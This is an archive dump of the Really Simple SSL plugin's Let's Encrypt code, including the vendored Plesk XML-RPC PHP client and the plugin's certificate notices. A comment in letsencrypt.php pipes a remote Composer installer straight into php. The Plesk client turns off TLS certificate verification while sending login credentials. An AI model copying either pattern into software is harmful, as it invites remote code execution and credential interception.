        return new Struct\Statistics($this->_getInfo('stat'));
    }

    /**
     * @return array
     */
    public function getSiteIsolationConfig()
    {
        $config = [];
        $configXml = $this->_getInfo('site-isolation-config');

        foreach ($configXml->property as $property) {
            $config[(string) $property->name] = (string) $property->value;
        }

        return $config;
    }

    public function getUpdatesInfo()
    {
        return new Struct\UpdatesInfo($this->_getInfo('updates'));
    }

    /**
     * @param string $login
     * @param string $clientIp
     *
     * @return string
     */
    public function createSession($login, $clientIp)
    {
        $packet = $this->_client->getPacket();
        $sessionNode = $packet->addChild($this->_wrapperTag)->addChild('create_session');
        $sessionNode->addChild('login', $login);
        $dataNode = $sessionNode->addChild('data');
        $dataNode->addChild('user_ip', base64_encode($clientIp));
        $dataNode->addChild('source_server');
        $response = $this->_client->request($packet);

        return (string) $response->id;
    }

    /**
     * @param string $operation
     *
     * @return \SimpleXMLElement
     */
    private function _getInfo($operation)
    {
        $packet = $this->_client->getPacket();
        $packet->addChild($this->_wrapperTag)->addChild('get')->addChild($operation);
        $response = $this->_client->request($packet);

        return $response->$operation;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Exception.php000064400000000301147510273070023237 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api;
defined('ABSPATH') or die();
/**
 * Exceptions for XML-RPC API client.
 */
class Exception extends \Exception
{
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Client/Exception.php000064400000000301147510273070024455 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api\Client;
defined('ABSPATH') or die();

/**
 * Transport layer exception.
 */
class Exception extends \Exception
{
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Client.php000064400000032631147510273070022532 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api;
defined('ABSPATH') or die();
use SimpleXMLElement;

/**
 * Client for Plesk XML-RPC API.
 */
class Client
{
    const RESPONSE_SHORT = 1;
    const RESPONSE_FULL = 2;

    protected $_host;
    protected $_port;
    protected $_protocol;
    protected $_login;
    protected $_password;
    protected $_secretKey;
    protected $_version = '';

    protected $_operatorsCache = [];

    /**
     * @var callable
     */
    protected $_verifyResponseCallback;

    /**
     * Create client.
     *
     * @param string $host
     * @param int $port
     * @param string $protocol
     */
    public function __construct($host, $port = 8443, $protocol = 'https')
    {
        $this->_host = $host;
        $this->_port = $port;
        $this->_protocol = $protocol;
    }

    /**
     * Setup credentials for authentication.
     *
     * @param string $login
     * @param string $password
     */
    public function setCredentials($login, $password)
    {
        $this->_login = $login;
        $this->_password = $password;
    }

    /**
     * Define secret key for alternative authentication.
     *
     * @param string $secretKey
     */
    public function setSecretKey($secretKey)
    {
        $this->_secretKey = $secretKey;
    }

    /**
     * Set default version for requests.
     *
     * @param string $version
     */
    public function setVersion($version)
    {
        $this->_version = $version;
    }

    /**
     * Set custom function to verify response of API call according your own needs. Default verifying will be used if it is not specified.
     *
     * @param callable|null $function
     */
    public function setVerifyResponse(callable $function = null)
    {
        $this->_verifyResponseCallback = $function;
    }

    /**
     * Retrieve host used for communication.
     *
     * @return string
     */
    public function getHost()
    {
        return $this->_host;
    }

    /**
     * Retrieve port used for communication.
     *
     * @return int
     */
    public function getPort()
    {
        return $this->_port;
    }

    /**
     * Retrieve name of the protocol (http or https) used for communication.
     *
     * @return string
     */
    public function getProtocol()
    {
        return $this->_protocol;
    }

    /**
     * Retrieve XML template for packet.
     *
     * @param string|null $version
     *
     * @return SimpleXMLElement
     */
    public function getPacket($version = null)
    {
        $protocolVersion = !is_null($version) ? $version : $this->_version;
        $content = "<?xml version='1.0' encoding='UTF-8' ?>";
        $content .= '<packet'.('' === $protocolVersion ? '' : " version='$protocolVersion'").'/>';

        return new SimpleXMLElement($content);
    }

    /**
     * Perform API request.
     *
     * @param string|array|SimpleXMLElement $request
     * @param int $mode
     *
     * @return XmlResponse
     */
    public function request($request, $mode = self::RESPONSE_SHORT)
    {
        if ($request instanceof SimpleXMLElement) {
            $request = $request->asXml();
        } else {
            $xml = $this->getPacket();

            if (is_array($request)) {
                $request = $this->_arrayToXml($request, $xml)->asXML();
            } elseif (preg_match('/^[a-z]/', $request)) {
                $request = $this->_expandRequestShortSyntax($request, $xml);
            }
        }

        if ('sdk' == $this->_protocol) {
            $version = ('' == $this->_version) ? null : $this->_version;
            $requestXml = new SimpleXMLElement((string) $request);
            $xml = \pm_ApiRpc::getService($version)->call($requestXml->children()[0]->asXml(), $this->_login);
        } else {
            $xml = $this->_performHttpRequest($request);
        }

        $this->_verifyResponseCallback
            ? call_user_func($this->_verifyResponseCallback, $xml)
            : $this->_verifyResponse($xml);

        return (self::RESPONSE_FULL == $mode) ? $xml : $xml->xpath('//result')[0];
    }

    /**
     * Perform HTTP request to end-point.
     *
     * @param string $request
     *
     * @throws Client\Exception
     *
     * @return XmlResponse
     */
    private function _performHttpRequest($request)
    {
        $curl = curl_init();

        curl_setopt($curl, CURLOPT_URL, "$this->_protocol://$this->_host:$this->_port/enterprise/control/agent.php");
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($curl, CURLOPT_HTTPHEADER, $this->_getHeaders());
        curl_setopt($curl, CURLOPT_POSTFIELDS, $request);

        $result = curl_exec($curl);

        if (false === $result) {
            throw new Client\Exception(curl_error($curl), curl_errno($curl));
        }

        curl_close($curl);

        $xml = new XmlResponse($result);

        return $xml;
    }

    /**
     * Perform multiple API requests using single HTTP request.
     *
     * @param $requests
     * @param int $mode
     *
     * @throws Client\Exception
     *
     * @return array
     */
    public function multiRequest($requests, $mode = self::RESPONSE_SHORT)
    {
        $requestXml = $this->getPacket();

        foreach ($requests as $request) {
            if ($request instanceof SimpleXMLElement) {
                throw new Client\Exception('SimpleXML type of request is not supported for multi requests.');
            } else {
                if (is_array($request)) {
                    $request = $this->_arrayToXml($request, $requestXml)->asXML();
                } elseif (preg_match('/^[a-z]/', $request)) {
                    $this->_expandRequestShortSyntax($request, $requestXml);
                }
            }
            $responses[] = $this->request($request);
        }

        if ('sdk' == $this->_protocol) {
            throw new Client\Exception('Multi requests are not supported via SDK.');
        } else {
            $responseXml = $this->_performHttpRequest($requestXml->asXML());
        }

        $responses = [];
        foreach ($responseXml->children() as $childNode) {
            $xml = $this->getPacket();
            $dom = dom_import_simplexml($xml)->ownerDocument;

            $childDomNode = dom_import_simplexml($childNode);
            $childDomNode = $dom->importNode($childDomNode, true);
            $dom->documentElement->appendChild($childDomNode);

            $response = simplexml_load_string($dom->saveXML());
            $responses[] = (self::RESPONSE_FULL == $mode) ? $response : $response->xpath('//result')[0];
        }

        return $responses;
    }

    /**
     * Retrieve list of headers needed for request.
     *
     * @return array
     */
    protected function _getHeaders()
    {
        $headers = [
            'Content-Type: text/xml',
            'HTTP_PRETTY_PRINT: TRUE',
        ];

        if ($this->_secretKey) {
            $headers[] = "KEY: $this->_secretKey";
        } else {
            $headers[] = "HTTP_AUTH_LOGIN: $this->_login";
            $headers[] = "HTTP_AUTH_PASSWD: $this->_password";
        }

        return $headers;
    }

    /**
     * Verify that response does not contain errors.
     *
     * @param XmlResponse $xml
     *
     * @throws Exception
     */
    protected function _verifyResponse($xml)
    {
        if ($xml->system && $xml->system->status && 'error' == (string) $xml->system->status) {
            throw new Exception((string) $xml->system->errtext, (int) $xml->system->errcode);
        }

        if ($xml->xpath('//status[text()="error"]') && $xml->xpath('//errcode') && $xml->xpath('//errtext')) {
            $errorCode = (int) $xml->xpath('//errcode')[0];
            $errorMessage = (string) $xml->xpath('//errtext')[0];

            throw new Exception($errorMessage, $errorCode);
        }
    }

    /**
     * Expand short syntax (some.method.call) into full XML representation.
     *
     * @param string $request
     * @param SimpleXMLElement $xml
     *
     * @return string
     */
    protected function _expandRequestShortSyntax($request, SimpleXMLElement $xml)
    {
        $parts = explode('.', $request);
        $node = $xml;

        foreach ($parts as $part) {
            @list($name, $value) = explode('=', $part);
            $node = $node->addChild($name, $value);
        }

        return $xml->asXML();
    }

    /**
     * Convert array to XML representation.
     *
     * @param array $array
     * @param SimpleXMLElement $xml
     * @param string $parentEl
     *
     * @return SimpleXMLElement
     */
    protected function _arrayToXml(array $array, SimpleXMLElement $xml, $parentEl = null)
    {
        foreach ($array as $key => $value) {
            $el = is_int($key) && $parentEl ? $parentEl : $key;
            if (is_array($value)) {
                $this->_arrayToXml($value, $this->_isAssocArray($value) ? $xml->addChild($el) : $xml, $el);
            } else {
                $xml->addChild($el, $value);
            }
        }

        return $xml;
    }

    /**
     * @param array $array
     *
     * @return bool
     */
    protected function _isAssocArray(array $array)
    {
        return $array && array_keys($array) !== range(0, count($array) - 1);
    }

    /**
     * @param string $name
     *
     * @return \PleskX\Api\Operator
     */
    protected function _getOperator($name)
    {
        if (!isset($this->_operatorsCache[$name])) {
            $className = '\\PleskX\\Api\\Operator\\'.$name;
            $this->_operatorsCache[$name] = new $className($this);
        }

        return $this->_operatorsCache[$name];
    }

    /**
     * @return Operator\Server
     */
    public function server()
    {
        return $this->_getOperator('Server');
    }

    /**
     * @return Operator\Customer
     */
    public function customer()
    {
        return $this->_getOperator('Customer');
    }

    /**
     * @return Operator\Webspace
     */
    public function webspace()
    {
        return $this->_getOperator('Webspace');
    }

    /**
     * @return Operator\Subdomain
     */
    public function subdomain()
    {
        return $this->_getOperator('Subdomain');
    }

    /**
     * @return Operator\Dns
     */
    public function dns()
    {
        return $this->_getOperator('Dns');
    }

    /**
     * @return Operator\DnsTemplate
     */
    public function dnsTemplate()
    {
        return $this->_getOperator('DnsTemplate');
    }

    /**
     * @return Operator\DatabaseServer
     */
    public function databaseServer()
    {
        return $this->_getOperator('DatabaseServer');
    }

    /**
     * @return Operator\Mail
     */
    public function mail()
    {
        return $this->_getOperator('Mail');
    }

    /**
     * @return Operator\Certificate
     */
    public function certificate()
    {
        return $this->_getOperator('Certificate');
    }

    /**
     * @return Operator\SiteAlias
     */
    public function siteAlias()
    {
        return $this->_getOperator('SiteAlias');
    }

    /**
     * @return Operator\Ip
     */
    public function ip()
    {
        return $this->_getOperator('Ip');
    }

    /**
     * @return Operator\EventLog
     */
    public function eventLog()
    {
        return $this->_getOperator('EventLog');
    }

    /**
     * @return Operator\SecretKey
     */
    public function secretKey()
    {
        return $this->_getOperator('SecretKey');
    }

    /**
     * @return Operator\Ui
     */
    public function ui()
    {
        return $this->_getOperator('Ui');
    }

    /**
     * @return Operator\ServicePlan
     */
    public function servicePlan()
    {
        return $this->_getOperator('ServicePlan');
    }

    /**
     * @return Operator\VirtualDirectory
     */
    public function virtualDirectory()
    {
        return $this->_getOperator('VirtualDirectory');
    }

    /**
     * @return Operator\Database
     */
    public function database()
    {
        return $this->_getOperator('Database');
    }

    /**
     * @return Operator\Session
     */
    public function session()
    {
        return $this->_getOperator('Session');
    }

    /**
     * @return Operator\Locale
     */
    public function locale()
    {
        return $this->_getOperator('Locale');
    }

    /**
     * @return Operator\LogRotation
     */
    public function logRotation()
    {
        return $this->_getOperator('LogRotation');
    }

    /**
     * @return Operator\ProtectedDirectory
     */
    public function protectedDirectory()
    {
        return $this->_getOperator('ProtectedDirectory');
    }

    /**
     * @return Operator\Reseller
     */
    public function reseller()
    {
        return $this->_getOperator('Reseller');
    }

    /**
     * @return Operator\ResellerPlan
     */
    public function resellerPlan()
    {
        return $this->_getOperator('ResellerPlan');
    }

    /**
     * @return Operator\Aps
     */
    public function aps()
    {
        return $this->_getOperator('Aps');
    }

    /**
     * @return Operator\ServicePlanAddon
     */
    public function servicePlanAddon()
    {
        return $this->_getOperator('ServicePlanAddon');
    }

    /**
     * @return Operator\Site
     */
    public function site()
    {
        return $this->_getOperator('Site');
    }

    /**
     * @return Operator\PhpHandler
     */
    public function phpHandler()
    {
        return $this->_getOperator('PhpHandler');
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Operator.php000064400000005124147510273070023104 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api;
defined('ABSPATH') or die();
class Operator
{
    /** @var string|null */
    protected $_wrapperTag = null;

    /** @var \PleskX\Api\Client */
    protected $_client;

    public function __construct($client)
    {
        $this->_client = $client;

        if (is_null($this->_wrapperTag)) {
            $classNameParts = explode('\\', get_class($this));
            $this->_wrapperTag = end($classNameParts);
            $this->_wrapperTag = strtolower(preg_replace('/([a-z])([A-Z])/', '\1-\2', $this->_wrapperTag));
        }
    }

    /**
     * Perform plain API request.
     *
     * @param string|array $request
     * @param int $mode
     *
     * @return XmlResponse
     */
    public function request($request, $mode = Client::RESPONSE_SHORT)
    {
        $wrapperTag = $this->_wrapperTag;

        if (is_array($request)) {
            $request = [$wrapperTag => $request];
        } elseif (preg_match('/^[a-z]/', $request)) {
            $request = "$wrapperTag.$request";
        } else {
            $request = "<$wrapperTag>$request</$wrapperTag>";
        }

        return $this->_client->request($request, $mode);
    }

    /**
     * @param string $field
     * @param int|string $value
     * @param string $deleteMethodName
     *
     * @return bool
     */
    protected function _delete($field, $value, $deleteMethodName = 'del')
    {
        $response = $this->request("$deleteMethodName.filter.$field=$value");

        return 'ok' === (string) $response->status;
    }

    /**
     * @param string $structClass
     * @param string $infoTag
     * @param string|null $field
     * @param int|string|null $value
     * @param callable|null $filter
     *
     * @return mixed
     */
    protected function _getItems($structClass, $infoTag, $field = null, $value = null, callable $filter = null)
    {
        $packet = $this->_client->getPacket();
        $getTag = $packet->addChild($this->_wrapperTag)->addChild('get');

        $filterTag = $getTag->addChild('filter');
        if (!is_null($field)) {
            $filterTag->addChild($field, $value);
        }

        $getTag->addChild('dataset')->addChild($infoTag);

        $response = $this->_client->request($packet, \PleskX\Api\Client::RESPONSE_FULL);

        $items = [];
        foreach ($response->xpath('//result') as $xmlResult) {
            if (!is_null($filter) && !$filter($xmlResult->data->$infoTag)) {
                continue;
            }
            $items[] = new $structClass($xmlResult->data->$infoTag);
        }

        return $items;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/Struct.php000064400000003656147510273070022605 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api;
defined('ABSPATH') or die();
abstract class Struct
{
    public function __set($property, $value)
    {
        throw new \Exception("Try to set an undeclared property '$property'.");
    }

    /**
     * Initialize list of scalar properties by response.
     *
     * @param \SimpleXMLElement $apiResponse
     * @param array $properties
     *
     * @throws \Exception
     */
    protected function _initScalarProperties($apiResponse, array $properties)
    {
        foreach ($properties as $property) {
            if (is_array($property)) {
                $classPropertyName = current($property);
                $value = $apiResponse->{key($property)};
            } else {
                $classPropertyName = $this->_underToCamel(str_replace('-', '_', $property));
                $value = $apiResponse->$property;
            }

            $reflectionProperty = new \ReflectionProperty($this, $classPropertyName);
            $docBlock = $reflectionProperty->getDocComment();
            $propertyType = preg_replace('/^.+ @var ([a-z]+) .+$/', '\1', $docBlock);

            if ('string' == $propertyType) {
                $value = (string) $value;
            } elseif ('int' == $propertyType) {
                $value = (int) $value;
            } elseif ('bool' == $propertyType) {
                $value = in_array((string) $value, ['true', 'on', 'enabled']);
            } else {
                throw new \Exception("Unknown property type '$propertyType'.");
            }

            $this->$classPropertyName = $value;
        }
    }

    /**
     * Convert underscore separated words into camel case.
     *
     * @param string $under
     *
     * @return string
     */
    private function _underToCamel($under)
    {
        $under = '_'.str_replace('_', ' ', strtolower($under));

        return ltrim(str_replace(' ', '', ucwords($under)), '_');
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/XmlResponse.php000064400000000632147510273070023567 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api;
defined('ABSPATH') or die();
/**
 * XML wrapper for responses.
 */
class XmlResponse extends \SimpleXMLElement
{
    /**
     * Retrieve value by node name.
     *
     * @param string $node
     *
     * @return string
     */
    public function getValue($node)
    {
        return (string) $this->xpath('//'.$node)[0];
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/src/Api/InternalClient.php000064400000000753147510273070024227 0ustar00<?php
// Copyright 1999-2020. Plesk International GmbH.

namespace PleskX\Api;
defined('ABSPATH') or die();
/**
 * Internal client for Plesk XML-RPC API (via SDK).
 */
class InternalClient extends Client
{
    public function __construct()
    {
        parent::__construct('localhost', 0, 'sdk');
    }

    /**
     * Setup login to execute requests under certain user.
     *
     * @param $login
     */
    public function setLogin($login)
    {
        $this->_login = $login;
    }
}
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/wait-for-plesk.sh000064400000000274147510273070022501 0ustar00#!/bin/bash
### Copyright 1999-2020. Plesk International GmbH.

while : ; do
    curl -ksL https://plesk:8443/ | grep "<title>Plesk" > /dev/null
    [ $? -eq 0 ] && break
    sleep 5
done
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/LICENSE000064400000001074147510273070020305 0ustar00Copyright 1999-2020. Plesk International GmbH.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/README.md000064400000004252147510273070020560 0ustar00## PHP library for Plesk XML-RPC API

[![Build Status](https://travis-ci.com/plesk/api-php-lib.svg?branch=master)](https://travis-ci.com/plesk/api-php-lib) [![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/plesk/api-php-lib/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/plesk/api-php-lib/?branch=master)
[![StyleCI](https://styleci.io/repos/26514840/shield?branch=master)](https://styleci.io/repos/26514840)

PHP object-oriented library for Plesk XML-RPC API.

## Install Via Composer

[Composer](https://getcomposer.org/) is a preferable way to install the library:

`composer require plesk/api-php-lib`

## Usage Examples

Here is an example on how to use the library and create a customer with desired properties:
```php
$client = new \PleskX\Api\Client($host);
$client->setCredentials($login, $password);

$client->customer()->create([
    'cname' => 'Plesk',
    'pname' => 'John Smith',
    'login' => 'john',
    'passwd' => 'secret',
    'email' => 'john@smith.com',
]);
```

It is possible to use a secret key instead of password for authentication.

```php
$client = new \PleskX\Api\Client($host);
$client->setSecretKey($secretKey)
```

In case of Plesk extension creation one can use an internal mechanism to access XML-RPC API. It does not require to pass authentication because the extension works in the context of Plesk.

```php
$client = new \PleskX\Api\InternalClient();
$protocols = $client->server()->getProtos();
```

For additional examples see tests/ directory.

## How to Run Unit Tests

One the possible ways to become familiar with the library is to check the unit tests.

To run the unit tests use the following command:

`REMOTE_HOST=your-plesk-host.dom REMOTE_PASSWORD=password composer test`

To use custom port one can provide a URL (e.g. for Docker container):

`REMOTE_URL=https://your-plesk-host.dom:port REMOTE_PASSWORD=password composer test`

One more way to run tests is to use Docker:

`docker-compose run tests`

## Continuous Testing

During active development it could be more convenient to run tests in continuous manner. Here is the way how to achieve it:

`REMOTE_URL=https://your-plesk-host.dom:port REMOTE_PASSWORD=password composer test:watch`
really-simple-ssl/lets-encrypt/vendor/plesk/api-php-lib/composer.json000064400000002046147510273070022022 0ustar00{
    "name": "plesk/api-php-lib",
    "type": "library",
    "description": "PHP object-oriented library for Plesk XML-RPC API",
    "license": "Apache-2.0",
    "authors": [
        {
            "name": "Alexei Yuzhakov",
            "email": "sibprogrammer@gmail.com"
        },
        {
            "name": "Plesk International GmbH.",
            "email": "plesk-dev-leads@plesk.com"
        }
    ],
    "require": {
        "php": "^7.3",
        "ext-curl": "*",
        "ext-xml": "*",
        "ext-simplexml": "*"
    },
    "require-dev": {
        "phpunit/phpunit": "^9",
        "spatie/phpunit-watcher": "^1.22"
    },
    "config": {
        "process-timeout": 0
    },
    "scripts": {
        "test": "phpunit",
        "test:watch": "phpunit-watcher watch"
    },
    "autoload": {
        "psr-4": {
            "PleskX\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "PleskXTest\\": "tests/"
        }
    },
    "extra": {
        "branch-alias": {
            "dev-master": "2.0.x-dev"
        }
    }
}
really-simple-ssl/lets-encrypt/vendor/index.php000064400000000043147510273070015673 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/lets-encrypt/vendor/autoload.php000064400000000262147510273070016377 0ustar00<?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInita8412ede23fd11b4d0e29303fdebd5f4::getLoader();
really-simple-ssl/lets-encrypt/composer.json000064400000000141147510273070015277 0ustar00{
    "require": {
        "fbett/le_acme2": "^1.5",
        "plesk/api-php-lib": "^1.0"
    }
}
really-simple-ssl/lets-encrypt/letsencrypt.php000064400000005263147510273070015654 0ustar00<?php
defined('ABSPATH') or die();
/**
 * Capability handling for Let's Encrypt
 * @return bool
 *
 * php -r "readfile('https://getcomposer.org/installer');" | php
 */
if (!function_exists('rsssl_letsencrypt_generation_allowed')) {
	function rsssl_letsencrypt_generation_allowed($strict = false) {
		/**
		 * LE classes should also run if SSL is generated by rsssl, and the plus one cache is cleared.
		 */
		if ( get_option( 'rsssl_le_certificate_generated_by_rsssl' ) && !get_option('rsssl_plusone_count')  ) {
			return true;
		}

		if ( get_option( 'rsssl_le_certificate_generated_by_rsssl' ) && wp_doing_cron() ) {
			return true;
		}

		if ( !current_user_can( 'manage_security' ) ) {
			return false;
		}

		if ( isset($_GET['letsencrypt'])) {
			return true;
		}
		return false;
	}
}

class RSSSL_LETSENCRYPT {
	private static $instance;

	public $le_restapi;
	public $field;
	public $hosts;
	public $letsencrypt_handler;

	private function __construct() {
	}



	public static function instance() {
		if ( ! isset( self::$instance ) && ! ( self::$instance instanceof RSSSL_LETSENCRYPT ) ) {
			self::$instance = new RSSSL_LETSENCRYPT;
			self::$instance->setup_constants();
			self::$instance->includes();
			if ( rsssl_letsencrypt_generation_allowed() ) {
				self::$instance->hosts = new rsssl_le_hosts();
				self::$instance->letsencrypt_handler = new rsssl_letsencrypt_handler();
				self::$instance->le_restapi = new rsssl_le_restapi();
			}
		}

		return self::$instance;
	}

	private function setup_constants() {
		define('rsssl_le_url', plugin_dir_url(__FILE__));
		define('rsssl_le_path', trailingslashit(plugin_dir_path(__FILE__)));
	}

	private function includes() {
		require_once( rsssl_le_path . 'functions.php');
		if ( rsssl_letsencrypt_generation_allowed() ) {
			require_once( rsssl_le_path . 'config/class-hosts.php' );
			require_once( rsssl_le_path . 'config/fields.php');
			require_once( rsssl_le_path . 'class-le-restapi.php' );
			require_once( rsssl_le_path . 'class-letsencrypt-handler.php' );
			require_once( rsssl_le_path . 'integrations/integrations.php' );
		}
		require_once( rsssl_le_path . 'config/notices.php' );
	}

	/**
	 * Notice about possible compatibility issues with add ons
	 */
	public static function admin_notices() {

	}
}

function RSSSL_LE() {
	return RSSSL_LETSENCRYPT::instance();
}

add_action( 'plugins_loaded', 'RSSSL_LE', 9 );


class RSSSL_RESPONSE
{
	public $message;
	public $action;
	public $status;
	public $output;
	public $request_success;

	public function __construct($status, $action, $message, $output = false )
	{
		$this->status = $status;
		$this->action = $action;
		$this->message = $message;
		$this->output = $output;
		$this->request_success = true;
	}

}really-simple-ssl/lets-encrypt/config/notices.php000064400000016421147510273070016207 0ustar00<?php
/**
 * Show notice if certificate needs to be renewed.
 *
 * @param array $notices
 *
 * @return array
 */
function rsssl_le_get_notices_list($notices) {
	//these notices are also loaded if Lets Encrypt is not loaded. To prevent errors, notices which require LE functionality are not loaded
	if ( rsssl_generated_by_rsssl() && rsssl_letsencrypt_generation_allowed() ) {
		//expiration date requests are cached.
		$valid    = RSSSL()->certificate->is_valid();
		$certinfo = get_transient( 'rsssl_certinfo' );
		$end_date = isset( $certinfo['validTo_time_t'] ) ? $certinfo['validTo_time_t'] : false;
		//if the certificate expires within the grace period, allow renewal
		//e.g. expiry date 30 may, now = 10 may => grace period 9 june.
		$expiry_date = ! empty( $end_date ) ? date( get_option( 'date_format' ), $end_date ) : false;

		if ( get_option( 'rsssl_create_folders_in_root' ) ) {
			if ( ! get_option( 'rsssl_htaccess_file_set_key' ) || ! get_option( 'rsssl_htaccess_file_set_certs' ) || ! get_option( 'rsssl_htaccess_file_set_ssl' ) ) {
				$notices['root_files_not_protected'] = array(
					'condition' => array( 'rsssl_ssl_enabled' ),
					'callback'  => '_true_',
					'score'     => 10,
					'output'    => array(
						'true' => array(
							'msg'         => __( "Your Key and Certificate directories are not properly protected.", "really-simple-ssl" ),
							'url'         => rsssl_link( "protect-ssl-generation-directories"),
							'icon'        => 'warning',
							'plusone'     => true,
							'dismissible' => true,
						),
					),
				);
			}
		}

		if ( rsssl_letsencrypt_generation_allowed() ) {
			if ( strpos(site_url(), 'www.') !== false ) {
				$text = __( "The non-www version of your site does not point to this website. This is recommended, as it will allow you to add it to the certificate as well.", 'really-simple-ssl' );
			} else {
				$text = __( "The www version of your site does not point to this website. This is recommended, as it will allow you to add it to the certificate as well.", 'really-simple-ssl' );
			}
			$notices['alias_domain_notice'] = array(
				'condition'         => array( 'NOT rsssl_is_subdomain' ),
				'callback'          => 'RSSSL_LE()->letsencrypt_handler->alias_domain_available',
				'score'             => 10,
				'output'            => array(
					'false' => array(
						'title'       => __( "Domain", 'really-simple-ssl' ),
						'msg'         => $text,
						'icon'        => 'open',
						'plusone'     => true,
						'dismissible' => true,
					),
				),
				'show_with_options' => [
					'domain',
				]
			);
		}

		if ( $expiry_date ) {
			$notices['ssl_detected'] = array(
				'condition' => array( 'rsssl_ssl_enabled' ),
				'callback'  => 'RSSSL()->certificate->about_to_expire',
				'score'     => 10,
				'output'    => array(
					'false' => array(
						'msg'  => sprintf( __( "Your certificate is valid until: %s", "really-simple-ssl" ), $expiry_date ),
						'icon' => 'success'
					),
					'true'  => array(
						'msg'         => sprintf( __( "Your certificate will expire on %s. You can renew it %shere%s.", "really-simple-ssl" ), $expiry_date, '<a href="' . rsssl_letsencrypt_wizard_url() . '">', '</a>' ),
						'icon'        => 'open',
						'plusone'     => true,
						'dismissible' => false,
					),
				),
			);
		}

		$notices['certificate_installation'] = array(
			'condition' => array( 'rsssl_ssl_enabled', 'RSSSL()->certificate->about_to_expire' ),
			'callback'  => 'RSSSL_LE()->letsencrypt_handler->certificate_renewal_status_notice',
			'score'     => 10,
			'output'    => array(
				'automatic-installation-failed' => array(
					'msg'         => sprintf( __( "The automatic installation of your certificate has failed. Please check your credentials, and retry the %sinstallation%s.",
						"really-simple-ssl" ), '<a href="' . rsssl_letsencrypt_wizard_url() . '">', '</a>' ),
					'icon'        => 'open',
					'plusone'     => true,
					'dismissible' => false,
				),
				'manual-installation'           => array(
					'msg'         => sprintf( __( "The SSL certificate has been renewed, and requires manual %sinstallation%s in your hosting dashboard.", "really-simple-ssl" ),
						'<a href="' . rsssl_letsencrypt_wizard_url('le-installation') . '">', '</a>' ),
					'icon'        => 'open',
					'plusone'     => true,
					'dismissible' => false,
				),
				'manual-generation'             => array(
					'msg'         => sprintf( __( "Automatic renewal of your certificate was not possible. The SSL certificate should be %srenewed%s manually.", "really-simple-ssl" ),
						'<a href="' . rsssl_letsencrypt_wizard_url() . '">', '</a>' ),
					'icon'        => 'open',
					'plusone'     => true,
					'dismissible' => false,
				),
				'automatic'                     => array(
					'msg'         => __( "Your certificate will be renewed and installed automatically.", "really-simple-ssl" ),
					'icon'        => 'open',
					'plusone'     => true,
					'dismissible' => false,
				),
			),
		);
	}

	//we run these notices only if the cert is generated by rsssl, or it's not valid.
	if ( rsssl_generated_by_rsssl() || !RSSSL()->certificate->is_valid() ) {
		$notices['can_use_shell'] = array(
			'condition' => array('rsssl_can_install_shell_addon'),
			'callback' => '_true_',
			'score'     => 10,
			'output'    => array(
				'true' => array(
					'msg'         => __( "Your server provides shell functionality, which offers additional methods to install SSL. If installing SSL using the default methods is not possible, you can install the shell add on.", "really-simple-ssl" ),
					'icon'        => 'open',
					'url'         => "installing-ssl-using-shell-functions",
					'plusone'     => true,
					'dismissible' => true,
				),
			),
		);

		//show notice if the shell exec add on is not up to date
		if ( function_exists('rsssl_le_load_shell_addon') && defined('rsssl_shell_version') && version_compare(rsssl_shell_version,'2.0.0','<')){
			$notices['old_shell_exec_plugin'] = array(
				'callback'  => '_true_',
				'score'     => 10,
				'output'    => array(
					'true' => array(
						'msg'         => __( "You are using the Really Simple Security Shell Exec add on, but your current version needs to be updated.", "really-simple-ssl" ),
						'icon'        => 'warning',
						'url'         => "installing-ssl-using-shell-functions",
						'plusone'     => true,
						'dismissible' => false,
					),
				),
			);
		}
	}
	return $notices;
}
add_filter( 'rsssl_notices', 'rsssl_le_get_notices_list', 30, 1 );

/**
 * Replace the go pro or scan button with a renew SSL button when the cert should be renewed.
 */
function rsssl_le_progress_footer_renew_ssl($button){
	if ( rsssl_ssl_enabled() && RSSSL()->certificate->about_to_expire() ){
		$status = RSSSL_LE()->letsencrypt_handler->certificate_renewal_status_notice;
		switch ($status){
			case 'manual-installation':
				$button_text = __("Renew installation", "really-simple-ssl");
				break;
			case 'manual-generation':
				$button_text = __("Renew certificate", "really-simple-ssl");
				break;
			default:
				$button_text = __("Renew certificate", "really-simple-ssl");//false;
		}
		if ($button_text) {
			$url = rsssl_letsencrypt_wizard_url();
			$button = '<a href="'.$url.'" class="button button-default">'.$button_text.'</a>';
		}
	}
	return $button;
}
add_filter("rsssl_progress_footer_right", "rsssl_le_progress_footer_renew_ssl", 30);
